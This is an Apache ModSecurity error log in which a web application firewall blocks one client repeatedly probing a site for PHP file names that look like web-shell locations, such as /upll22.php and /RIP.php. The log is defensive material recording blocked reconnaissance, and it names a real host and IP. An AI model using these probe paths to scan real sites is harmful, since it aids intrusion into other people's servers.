[Sun Apr 19 02:44:57.254851 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:51048] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "aePRKUyD4Jm27Mb3NJiXXwAAAIs"]
[Sun Apr 19 02:44:58.049698 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:55519] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "aePRKnFWunkyacYqsD1NUQAAAUU"]
[Sun Apr 19 02:44:58.664021 2026] [:error] [pid 32166:tid 32210] [client 20.91.197.181:52646] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpxl.php"] [unique_id "aePRKpCHNkWwdiZnafLXugAAAEw"]
[Sun Apr 19 02:45:00.090039 2026] [:error] [pid 32167:tid 32233] [client 20.91.197.181:47388] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aePRLEyD4Jm27Mb3NJiXZAAAAIg"]
[Sun Apr 19 02:45:00.775785 2026] [:error] [pid 60910:tid 60919] [client 20.91.197.181:47395] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aePRLHFWunkyacYqsD1NVAAAAUc"]
[Sun Apr 19 02:45:01.326714 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:52067] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aePRLUyD4Jm27Mb3NJiXaAAAAIE"]
[Sun Apr 19 02:45:01.885437 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:50023] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aePRLUyD4Jm27Mb3NJiXagAAAJc"]
[Sun Apr 19 02:45:03.154994 2026] [:error] [pid 33517:tid 33527] [client 20.91.197.181:50007] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "aePRL34Zz-rubR1wiZ-8FAAAAMg"]
[Sun Apr 19 02:45:03.775838 2026] [:error] [pid 32167:tid 32237] [client 20.91.197.181:52052] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "aePRL0yD4Jm27Mb3NJiXbgAAAIw"]
[Sun Apr 19 02:45:04.359345 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:47386] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "aePRMEH3ayszMLZYflsGqwAAAYU"]
[Sun Apr 19 02:45:04.977373 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:55544] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upll22.php"] [unique_id "aePRMEyD4Jm27Mb3NJiXcAAAAJA"]
[Sun Apr 19 02:45:05.655364 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:52556] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aePRMUyD4Jm27Mb3NJiXcwAAAIA"]
[Sun Apr 19 02:45:06.295038 2026] [:error] [pid 32166:tid 32204] [client 20.91.197.181:52565] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aePRMpCHNkWwdiZnafLXwAAAAEY"]
[Sun Apr 19 02:45:06.941272 2026] [:error] [pid 32167:tid 32233] [client 20.91.197.181:52665] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aePRMkyD4Jm27Mb3NJiXdQAAAIg"]
[Sun Apr 19 02:45:07.560794 2026] [:error] [pid 60910:tid 60914] [client 20.91.197.181:55538] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "aePRM3FWunkyacYqsD1NVQAAAUI"]
[Sun Apr 19 02:45:08.751146 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:55178] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aePRNHFWunkyacYqsD1NWQAAAVI"]
[Sun Apr 19 02:45:09.893731 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:47371] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aePRNXFWunkyacYqsD1NWwAAAVM"]
[Sun Apr 19 02:45:11.235068 2026] [:error] [pid 60910:tid 60927] [client 20.91.197.181:52609] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aePRN3FWunkyacYqsD1NXgAAAU8"]
[Sun Apr 19 02:45:11.812332 2026] [:error] [pid 33517:tid 33533] [client 20.91.197.181:50036] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "aePRN34Zz-rubR1wiZ-8IAAAAM4"]
[Sun Apr 19 02:45:12.781350 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:55231] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "aePROHFWunkyacYqsD1NYwAAAVE"]
[Sun Apr 19 02:45:13.439066 2026] [:error] [pid 32252:tid 32274] [client 20.91.197.181:52671] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "aePROeXl4Yc-Lt5fJ9is5AAAARQ"]
[Sun Apr 19 02:45:14.489110 2026] [:error] [pid 32252:tid 32278] [client 20.91.197.181:47372] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "aePROuXl4Yc-Lt5fJ9is6AAAARg"]
[Sun Apr 19 02:45:15.760703 2026] [:error] [pid 32166:tid 32201] [client 20.91.197.181:55179] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-942.php"] [unique_id "aePRO5CHNkWwdiZnafLXygAAAEM"]
[Sun Apr 19 02:45:16.362921 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:51801] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aePRPEyD4Jm27Mb3NJiXkwAAAJc"]
[Sun Apr 19 02:45:17.293678 2026] [:error] [pid 33517:tid 33520] [client 20.91.197.181:52658] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aePRPX4Zz-rubR1wiZ-8IwAAAME"]
[Sun Apr 19 02:45:17.880369 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:55500] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aePRPXFWunkyacYqsD1NbQAAAUg"]
[Sun Apr 19 02:45:19.121691 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:47380] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-243.php"] [unique_id "aePRP3FWunkyacYqsD1NcQAAAUE"]
[Sun Apr 19 02:45:19.653519 2026] [:error] [pid 60910:tid 60918] [client 20.91.197.181:52075] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aePRP3FWunkyacYqsD1NcgAAAUY"]
[Sun Apr 19 02:45:21.572931 2026] [:error] [pid 41277:tid 41289] [client 20.91.197.181:50046] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aePRQUH3ayszMLZYflsGxAAAAYo"]
[Sun Apr 19 02:45:22.448464 2026] [:error] [pid 60910:tid 60927] [client 20.91.197.181:47370] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aePRQnFWunkyacYqsD1NeQAAAU8"]
[Sun Apr 19 02:45:23.057910 2026] [:error] [pid 41277:tid 41292] [client 20.91.197.181:55169] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hanyatersenyum.php"] [unique_id "aePRQ0H3ayszMLZYflsGzQAAAY0"]
[Sun Apr 19 02:45:23.691592 2026] [:error] [pid 41277:tid 41290] [client 20.91.197.181:51832] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "aePRQ0H3ayszMLZYflsGzwAAAYs"]
[Sun Apr 19 02:45:24.255151 2026] [:error] [pid 60910:tid 60912] [client 20.91.197.181:51795] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "aePRRHFWunkyacYqsD1NfwAAAUA"]
[Sun Apr 19 02:45:25.093412 2026] [:error] [pid 60910:tid 60921] [client 20.91.197.181:52603] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "aePRRXFWunkyacYqsD1NgwAAAUk"]
[Sun Apr 19 02:45:25.917431 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:52088] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "aePRRXFWunkyacYqsD1NhgAAAVU"]
[Sun Apr 19 02:45:26.651302 2026] [:error] [pid 60910:tid 60928] [client 20.91.197.181:48850] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maintura.php"] [unique_id "aePRRnFWunkyacYqsD1NiAAAAVA"]
[Sun Apr 19 02:45:27.692976 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:52638] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maintura.php"] [unique_id "aePRR0yD4Jm27Mb3NJiXwwAAAI4"]
[Sun Apr 19 02:45:28.240813 2026] [:error] [pid 32167:tid 32225] [client 20.91.197.181:55168] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maintura.php"] [unique_id "aePRSEyD4Jm27Mb3NJiXxwAAAIA"]
[Sun Apr 19 02:45:30.041377 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:47423] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maintura.php"] [unique_id "aePRSnFWunkyacYqsD1NjAAAAUQ"]
[Sun Apr 19 02:45:30.733359 2026] [:error] [pid 32167:tid 32235] [client 20.91.197.181:51794] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "aePRSkyD4Jm27Mb3NJiX3QAAAIo"]
[Sun Apr 19 02:45:31.280856 2026] [:error] [pid 33517:tid 33539] [client 20.91.197.181:47422] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "aePRS34Zz-rubR1wiZ-8JgAAANQ"]
[Sun Apr 19 02:45:31.823734 2026] [:error] [pid 32167:tid 32248] [client 20.91.197.181:49988] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "aePRS0yD4Jm27Mb3NJiX5gAAAJc"]
[Sun Apr 19 02:45:32.878517 2026] [:error] [pid 33517:tid 33538] [client 20.91.197.181:52622] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "aePRTH4Zz-rubR1wiZ-8KAAAANM"]
[Sun Apr 19 02:45:33.612953 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:55509] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aePRTXFWunkyacYqsD1NjQAAAVY"]
[Sun Apr 19 02:45:34.217124 2026] [:error] [pid 60910:tid 60930] [client 20.91.197.181:52610] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aePRTnFWunkyacYqsD1NjwAAAVI"]
[Sun Apr 19 02:45:34.761086 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:52562] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aePRTnFWunkyacYqsD1NkgAAAUw"]
[Sun Apr 19 02:45:35.319768 2026] [:error] [pid 60910:tid 60915] [client 20.91.197.181:52628] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aePRT3FWunkyacYqsD1NlAAAAUM"]
[Sun Apr 19 02:45:35.870356 2026] [:error] [pid 60910:tid 60925] [client 20.91.197.181:51818] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aePRT3FWunkyacYqsD1NlgAAAU0"]
[Sun Apr 19 02:45:36.454503 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:52661] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aePRUEyD4Jm27Mb3NJiYBAAAAJY"]
[Sun Apr 19 02:45:37.040300 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:55180] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aePRUXFWunkyacYqsD1NmQAAAUU"]
[Sun Apr 19 02:45:37.691955 2026] [:error] [pid 32252:tid 32257] [client 20.91.197.181:52560] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "aePRUeXl4Yc-Lt5fJ9is8QAAAQM"]
[Sun Apr 19 02:45:38.301935 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:55528] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "aePRUkH3ayszMLZYflsG3wAAAZY"]
[Sun Apr 19 02:45:38.922351 2026] [:error] [pid 32166:tid 32219] [client 20.91.197.181:55492] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "aePRUpCHNkWwdiZnafLX1QAAAFU"]
[Sun Apr 19 02:45:39.486405 2026] [:error] [pid 32252:tid 32272] [client 20.91.197.181:52547] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "aePRU-Xl4Yc-Lt5fJ9is9QAAARI"]
[Sun Apr 19 02:45:40.048064 2026] [:error] [pid 33517:tid 33533] [client 20.91.197.181:49984] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sk25_1.php"] [unique_id "aePRVH4Zz-rubR1wiZ-8MwAAAM4"]
[Sun Apr 19 02:45:40.868159 2026] [:error] [pid 32166:tid 32202] [client 20.91.197.181:50004] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aePRVJCHNkWwdiZnafLX4AAAAEQ"]
